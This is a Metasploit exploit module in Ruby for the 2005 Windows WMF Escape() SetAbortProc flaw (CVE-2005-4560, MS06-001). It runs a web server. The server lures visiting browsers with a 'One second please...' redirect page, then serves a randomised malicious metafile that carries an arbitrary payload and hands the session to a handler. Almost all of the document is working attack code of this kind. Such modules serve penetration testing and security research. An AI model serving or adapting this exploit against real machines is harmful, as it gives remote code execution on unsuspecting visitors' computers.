require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
'Description'=> %q{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'hdm',
'san <san@xfocus.org>',
'O600KO78RUS@unknown.ru',
],
'Version'=> '$Revision: 10394 $',
'References' =>
[
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MSB', 'MS06-001'],
['BID', '16074'],
['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload'=>
{
'Space'=> 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Windows XP/2003/Vista Automatic', { }],
],
'DisclosureDate' => 'Dec 27 2005',
'DefaultTarget'=> 0))
end
def on_request_uri(cli, request)
ext = 'wmf'
if (not request.uri.match(/\.wmf$/i))
if ("/" == get_resource[-1,1])
wmf_uri = get_resource[0, get_resource.length - 1]
else
wmf_uri = get_resource
end
wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext
html = "<html><meta http-equiv='refresh' content='0; " +
"URL=#{wmf_uri}'><body>One second please...</body></html>"
send_response_html(cli, html)
return
end
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })
handler(cli)
end
def generate_metafile(payload)
pre_mlen = 1440 + rand(8192)
suf_mlen = 128+ rand(8192)
fill = 0
pre_buff = ''
suf_buff = ''
while (pre_buff.length < pre_mlen)
pre_buff << generate_record()
fill += 1
end
while (suf_buff.length < suf_mlen)
suf_buff << generate_record()
fill += 1
end
clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
data =
[
rand(2)+1,
9,
( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
clen/2,
rand(0xffff),
rand(0xffffffff),
rand(0xffff),
].pack('vvvVvVv') +
pre_buff +
[
4,
(rand(256).to_i << 8) + 0x26,
9,
].pack('Vvv') + payload.encoded +
suf_buff +
[3, 0].pack('Vv') +
rand_text(rand(16384)+1024)
return data
end
def generate_record
type = rand(3)
case type
when 0
return [8, 0x02fa].pack('Vv') + rand_text(10)
when 1
return [7, 0x02fc].pack('Vv') + rand_text(8)
else
return [7, 0x041b].pack('Vv') + rand_text(8)
end
end
end